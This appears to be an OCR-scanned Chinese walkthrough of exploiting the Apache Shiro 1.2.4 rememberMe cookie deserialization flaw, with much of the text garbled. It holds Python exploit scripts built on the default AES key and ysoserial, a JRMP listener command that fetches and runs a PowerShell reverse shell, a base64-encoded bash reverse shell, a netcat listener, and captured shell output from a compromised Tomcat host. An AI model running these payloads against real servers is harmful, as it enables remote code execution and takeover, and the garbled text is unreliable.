= getCookie(: Cookie 85 roturn null: HirememberMeffiCookiefll 2
8 setCookieiCookie) void | s } else if (baseSd '= null) | i
 © rememberSerializedidentinySubje N .
& & identin® SWebSubsectCa 0 bazefd = this ensurePadding (baseG4) :
1 gethememberedSerislizedidentity °! if (log. isTraceEnabled(}) |
i & enurePadding(Suing): String log. trace {"Acquired Basefd encoded identity [7 + basefd + "]7):
&t forgetidentity{Subject): void 1403 4 }
@ forgetidentityisubjectContextive ) " $hremesberNelfiCookielliBaseb4REES
& forgetdenti pSerdetReques
o fergendentinltie ' ! byte[] decoded = BaseG4. decode (basefd) : 16, -3, ore

W & log:Logger = Loggerfactonygetl
U« DEFAULT_REMEMBER_ME_COOKE

1 & cookie: Cookie H log. trace ("Base64 decoded byte array length: ° + (decoded != null ? decoded. length : 0) * © bytes. "):
- o = =
Debug: 4 tomeat « o -
& | oevusger | outpur @0 L] SEEEEEL RN E®on
€ | Brames -

Ib | “hitp-apr-5000-exec-1"@2.334 in group ..

Wiew

B Tesminal T dava Enterprise [ Application Servers I (Messages QL3 Find  ® giun | ML EDsbug. W §T000 Qeventleg

g apache shiramgl



org.apache.shiro.web.mgt.CookieRememberMeManager#g

etRememberedSerializedIdentitylZl%&ﬁﬁlTﬁ{tf:%, %IEIL:EXT
Cookie HirememberMe i, RJG¥ HiiTBasecb64 @iy .

F7H F]getRememberedPrincipalsif %, I#fconvertBytesToP
rincipals %,

or  ESorg  [9apache 9 shiro B0 mgt (& AbstractRememberMeManager

G % - @& jova | @ Defaut gerjava - | ) Rememb gerjava - | T Rememt ger - | @) Subjectjova « | @) WebSubject.c
Q getRemesborsdPrincipals - 4 CIMaten Case Cwards [lReges 7 One match
Q- Reglace | Replaceatl | Exclude | Dhgmwcue [ Setection
T o= 423 # fparaw subjectContext provided t (Blink Sub,rew Builder. 1 rectCon
- ‘ a (@link Subjeer instance,
¥ O® ne
425 * _&('(um the de-se &
alsToBytes{Principal
alizedidentity{Subje
edPrincipals(Subjec 427 @ protected PunclpnlCﬂllel:tmn convertBytesToPrincipals(byte[] bytes. SubjectContext subjectContext) [ byres: (=116 -35
edserializedidentity £ c
oPrincipals(bytef). 5 ;o0 bytes = decr)pt E'b)tes)
drincipalfaiture(Re }
& byte] - g
return deserialize(bytes):
kbytel) g

salCallection): byw| i3

s Prato s ellocs 4700

X A M E AT EE, R R, Bitdeserialize,
M LLE ElreadObject () Hiks

shiro-core-1.2.4-sourcesjar  [0org [0 apache [0 shiro [0 crypto & JeaCly

= project ~ Q= x—|@& jwa | & iaizerjava - | (& JeaClp joea | & a java <
> Dyene o 8@ public T deserialize(bytel] serialized) throws SerializationException | 54, 114, 0,
> Iy functor p
» Iyio

Structure T String msg = “argument cannot be null.”:

DA A R
v & DefaultSerializer
% serialize(T) bytef) 15
i w deserialize(byte(lc T

e
o
[}

throw new IllegalirgumentException(msg):

o @

}
ByteArrayInputStreas bais = mew BytearrayInputStream(serialized):
BufferedInputStrean bis = new BufferedInputStrean(bais):
try |
ObjectInputStream ois = new ClassResolvingObjectInputStrean(bis);
—funchacked/ .
T deserialized = (T) ois.readObject():
" ois.close(): )
return deserialized:

} eateh (Exception ) |
String msg = “Unable to deserialze argusent byte array. ™
throw new Sorm’iznnon!xcom on [mss 2
Dc!wnSerwlm drwudhatn ;
Debug: & tomcat «
|ouipn + &1 g =+ @ log x| =

Glﬁrmm i B variables

I» | ¥ "hitp-apr-8000-exec-1"@2.334ingrovp"m..~| T 4 T [+ ¥ this= Dok
_* B senaslized

XE A decrypt B HBEATIRER T, AXBATLLH W —T
HOLRIEW T, BERNERERMZEET) .
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Fi# FCookiefrememberMe H I fi % it £ .



1. Bl Cookie H [l rememberMe FF X 18, 2R )5 3 17 Base64 % 1
2. AESf# =% 3. #HAT & 7 ¥4k

BAMESRE, WTUEINERET RPN EEEMTIE, 3
b FAL At A AH B P IIAAT 4 .

M AESHE 2 A 1) & #, A RAI T LW EMLE PrememberMe 7 B {H
, NS 8 AT B AR AT .

KR IAT P DL, TR LA RE R R I, DL KR TR L 8% A RE
SR RNEOR Ul

DL 2% B2 H W 15 L

iRl

BHEEMHysoserial fFJURLDNSHELHe, HEATH M, AR 40 .

# coding:utf-8

from Crypto.Cipher import AES
import traceback

import requests

import subprocess

import uuid

import base64

import sys



target = "http://192.168.43.30:8000/shirotest/"
jar_file = './ysoserial-0.0.6-SNAPSHOT-all.jar'

cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS",

"http://5atsgm.dnslog.cn"],
stdout=subprocess.PIPE)
BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %
BS)).encode()

mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

encryptor

AES.new(base64.b64decode(cipher_key), mode, iv)

file_body

pad(popen.stdout.read())

base64 ciphertext = base64.b6dencode(iv +

encryptor.encrypt(file_body))

try:

r = requests.get(target,

cookies={"'rememberMe' :base64_ciphertext.decode()}, timeout=30)
print(r.status_code)
except:

traceback.print_exc()



AT Z J5, DNSLOGH L, KRR FLAE WK, T -

Satsgm.dnslog.cn
DNS Query Record IP Address Created Time
Satsgm.dnslog.cn 27.mm170 2020-07-15 15:39:.09
Satsqm.dnslog.cn 120 7122 2020-07-15 15:39:09
Satsgm.dnslog.cn 27400 34 2020-07-15 15:39:09

A H

Windows

1. Wi FEH1192. 168. 43. 31 J&847 JRMP:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.exploit.JRMPListener 7778 CommonsCollections4
"powershell IEX (New-Object

Net.WebClient).DownloadString( 'https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2atde/Sh
ells/Invoke-PowerShellTcp.psl');Invoke-PowerShellTcp -Reverse -
IPAddress [ncfffftip] -port 7777"

2. Wi EMNlnc 0.

nc -lvp 7777

3. 5e LLE#RAE, T Bl AT poc T -

from Crypto.Cipher import AES
import traceback

import requests

import subprocess

import uuid



import base64

import sys

target = "http://192.168.43.30:8000/shirotest/"
jar_file = './ysoserial-0.0.6-SNAPSHOT-all.jar'

cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

def exp(command):

popen = subprocess.Popen(['java','-jar',jar_file,

"JRMPClient", command],
stdout=subprocess.PIPE)
BS = AES.block size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %
BS)).encode()

mode = AES.MODE_CBC

iv = uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)

file body pad(popen.stdout.read())

base64_ciphertext = base64.b6dencode(iv +

encryptor.encrypt(file_body))



r = requests.get(target,

cookies={"'rememberMe':base64_ciphertext.decode()}, timeout=30)

print(r.status_code)

traceback.print_exc()

hiro. py
\Downloads\ysoserial-master\target>

root@iZuf66e3e7b24f761xlu8fZ:~# nc -lvp 7777

Listening on [0.8.8.81 (family 0, port 7777)

Connection from [1 31] port 7777 [tcp/*] accepted (family 2,
Windows Pow L running as user c on DE

Copyright (C Microsoft Corporation. ALl rights reserved.

PS . :\apache-tomcat-7.0.94\bin>pwd

Path

:\apache-tomcat-7.0.94\bin

PS :\apache-tomcat-7.0.94\bin> 1s

linux

2

7

linux BT Rifishel 1Ry dr < BIAT, #y & E 44T -



N org  Enapache B0 shiro | B9 crypto /8 JcaCipherService
=& - jova < | @ Cip — o | Eyscacip i i.....l_. - Jjava « | @ Cipher.cl

@ private BrteSource encrypt (byte(] plaintext, bytel] key, byte(] iv, boolean prependIv) throws CryptoException [ plasnreve: (-84

final int MODE = javax. crypto. Cipher. ENCRYPT MODE,  WODE: 1

T & =32 bytel] sutput:

¥ O

| SecureRand 170 if (prependIv &k iv != null &k iv. length > 0) { pre

weureRandor

mdomi Secu

() SecureRt

tringfbootear - .

riviectarbool <70 cutput = new byte[iv, length * encrypted, lengthl: ERIfivENA Y + BRI

0k ByteSoure 377

0L bytel. bot 505 now copy the iv bytes + encrypted bytes into

{J): ByteSoure

Al bytell: Byt
aey: i 330 iv byres:

bytell in): by Svstem. arraycopyr(iv, srcPos: 0, output, destPos: 0, iv, length):

I bytef) 3

AlgorithmPal 375 bytes

n CutputStre ., System. arraycopylencrypted, srcPos: 0, output, iv. length, encrypted. length);

n, Outputstre } else | BRI Niftoutput, {ZEEAIVICERE
- Cutputstre cutput = crypt(plaintext. key, iv., MODE): t&, IR iRoutput=ivE)1 6{Hl+ B3I ER
il

v EMiftoutputsi, {£ERiv.length

if (log isTraceEnabled()) {

log trace("Incoming plaintext of size " + (plaintext != null ? plaintext. length : 0) + ", Ciphertext ” +

“byte array is size ~ + (output != null 7 cutput. length : 0));

return ByteSource, Util. brresoutput)

2 ST N

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.exploit.JRMPListener 7778 CommonsCollections4 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcCOuY21lwLzc3NzcgMD4mMQ==}|{base64,
-d}|{bash,-i}"

N gE M
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Request Response

[row o [ s
GET / HITP/L. L L HTTP/1. 1 200 OK

Host: ..aweacr onTT78 Server: Apache-Coyote/l. 1
sbiecho 360anfuzai test Date: Fri, 17 Jul 2020 08:13:48 GNT
Cookie:remenberile=d391261FTAGw+DaHO/ TI 2VHmu | xPwgNCellq2suf cDrShRFul 1Pspnv 1NG+4kLv0/ Connection: close
7] K\-lx(vIe\-a?‘!‘i’!kh'I'IId‘}Du:ZDJ’cﬂoyf[B\'s'lrl.l"?NIAo\H'»ﬁGnkoDazﬁU‘ﬂFY}[MJslT\aanﬂﬁ Content-Length: 16
_TJanyzB}ﬂM'BTTIﬁI\UM'JVH\ H: HUTGOT o pEn3gT73ndj/9skabOxllmzt
10lppbuP ONAD S0 jydBOnppactivaxl TzACCs1 T2EEY: 902*31an*Dmﬂ?‘lmgmﬂlnnﬂlrel\whs 360anfuzai test
ar\]'tlw.Chn.l'TGaleSeSQ\wl&Ihﬂ%%mﬂlmmsﬁj}bvoﬂﬁin\'fd\hlllsPd\nym?n‘?lLOmiDIGpU
(Qkg32gBy3VLIEQT elpATlv T TPo X1 4i ONISTHCVROFLT /RanqOo9ctsrC4BNT 4e06KbSF 2CEgZLT IV +Hem
SahS0D0L 4gUcleFDo0Xut0/FELOVHT cLhrvydbR4R6 1ULnmt 4ATEG6 1] Sbme j 54 SBXTK 4] Ubldnhi xFuv B
B\‘OH\'MHI&\"&BBCDD+\IhlI'lMl&‘GLstaBolImtr&" mhmszﬁ“ﬁlll.dn.?uic Veilldc+yfein3Fiml
IQDRElk‘l :ﬂﬁn]fﬁmﬂc!rclm" ughoFumlw IwirndgYqkolwim
OF OTRgILAT 2K 5HNue D TQSJII\'ImDT]..‘-ﬁ'uCloml‘N)SzcsPKIDUA
h’KEz.Nsx.aeﬂﬂ..Fde&UDCOI'CRIAC.'-\-bﬂ'L‘JRII"’lIDwd?HwyﬁE1I|mfIFlerl‘J'sNIM&EAB"T‘,‘boSKEI'
81 jQu/ctill KONAET 2k 3ulzZi BN 1PkOwTHCPETL TF 2DilmI NAKE 2McuPTDAwt Ugt /5 |
kpyLhSZgddl 5 1Zv1V1rHEtdhe 5V d5gVIP: GloezTg22slwd jnSerkQeeli0z DTk
SLFExocl jq7 MExkF 07k lvlwenfifsl NTGelqVQiNKtXakol dN6VPnnRdY tHIki 5i kEK gC1vdZhT LexFulb
ToMCHw AdPDUBU j0z42K {LnoSt IPTQ3%kr InliSI dUpVCNi pmSba52Hi jHined jRIAS231epd360+500Ich
Ded+0G69axTH 34wt 195 jslilh THC QY pHyb THI IV APLo JUTQ2 Loyl T cBgaliv e /CbORCw/ TUTXL29PK
Ey+1tVTUcAJAZgevyl K!Du:40lb@!l)\l\?]@-ﬂylcx'l*d!lfdsgonlﬂ tInVOTdfPUEzRoF {NTuPk1 VhEvm
pJUnl 44T Xawey RgVi/gPxl ZPVEJERCxR3BzNe 2 tnbTITQAF Zqf /oVLeblll gluTn
x+b0GquiyGSIFSZTD1di §/v22 JLNTQIP 1 qeq] IPGLIGTTri Vel Oi kawl] tNTSHSEAGOLE T JZP4Dza
J2UzalordlhuZyDGUPFT 20w 0] IVeVydowh Thi SLi vya 99z #bTHexx X s 1N +2K13EL 980200 obT /RHE o OT+PZ
SUEE 1yG0CeTwzshq jkkbl apqlaxzeT shzlinehYoooZ HENo 89k 161 A4S /2L T Z gy p+UZ QMR Gy dHD qi ax
udpThb2+5=hEHAF TP1 /6. 2VGm0rnShwTwleQlnbC qVp43600=6E. 10wDgBATUHT
V2 4unl 2/ JTF xS 2gr90MLGL g/ 11 JETTLEWG Al vpGewllAvkP 942N /HI 2e0 jY *HEF bo Ui aFUNFINLH+GRu
_ISIPD%TIIErmUKn\azmlvM:¥Ik‘l’9loDzISlC"IMD\AU1T08_\~9KhdxxsttDs}{lehlll;D‘:rO]nnj!J]
R1ZEOTyPDro NHeTEy+gmP TWy S1VTapQ] Oy AFEGJzv1PxUR jp0aQ2i v
NeHdt 1b6¢E Tk jdTe2X+4udIPANOT 21 jehGesgBSyoLT T souﬂcsam.m“3&:nsa+ﬂ_\4mﬂonmmr.u
#9583V D HDiHaf gvdrOf R2HIDT ZUx £ 1F N2 HL cROUA trenl / TQV 1 Oy
THEGHTn+Ry e 6+ TR 492VRT a&IklEMTtnasbﬂﬂISaTenﬂllﬂxRD_erAn_LMQ 2 #TLYETPwa

T

U l_J L] U Type a search term 0 matches U L] u u Type a search term

0 matches
138 bytes | 97 millis

-
v

Xt IX AN IR 1912 B AT 2 H. B B 7 2GRk RS T 9 OB AROAS

AXMNSHFHEERISG, B —BP WK, 2% T rememberMekey )
s kAR O P & AT A A, 0 R AR JE I 45 S AT AES i %
, HEXTAESHN® 5 45 B 1T Base64 %) LI A MAE T (Hreme
mberMekey # 17 Base64 i 1%, fif 9 /5 W (A B 1T AESE % , P XFAES
fift = J& il {1
HAT R F AN , fFEikrememberMekey W) B AN & L £, 0] DA
E flrememberMekey A £ 47 ) 7 FI A 2 0 & A AR ik 38, 2
b FALA 28, kR F SAAT 4

2

1M AES B & 8% 1) S l, (ER AT LM EEE M remenberMe 7 B fH
o I B AR B A AT

fJa UM 7RI AE A F SO0 A O B R i 2.



MEE THB
PEIMARE, FPXRESE, SFERAFR

KIETHIDXE B SEPA

T
5
g
i

AFREARTEITIE



